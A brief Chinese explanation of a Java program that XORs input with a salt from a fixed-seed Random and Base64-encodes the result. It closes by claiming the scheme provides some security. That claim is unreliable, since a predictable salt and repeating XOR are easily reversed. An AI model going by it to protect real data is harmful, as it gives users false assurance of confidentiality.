customEncrypt 方法实现了一个简单的异或(XOR)加密算法。它接受两个字节数组,第一个是要加密的数据,第二个是密钥(盐),然后对数据的每个字节与密钥的对应字节进行异或操作。
encrypt 方法组合了上述两个方法的功能。它首先生成一个随机的盐(密钥),然后将两个输入字符串合并并转换为字节,接着使用自定义的加密方法进行加密,并将加密结果与盐一起编码为Base64字符串。
encrypt2 方法是另一种加密方法,它对输入字符串的每个字节进行操作,然后再次进行异或操作,并将结果编码为Base64字符串。
generateSalt 方法生成一个随机的字节数组,用作加密过程中的盐。它使用固定的种子初始化Random对象,以确保每次生成的随机盐是相同的。
main 方法是程序的入口点。它调用上述方法,演示了如何生成加密后的字符串,并将结果打印到控制台。
总结:
它使用了异域加密和Base64编码,并通过固定种子生成的随机盐来提供一定的安全性。
运行推荐在线网站:https://www.jyshare.com/compile/10/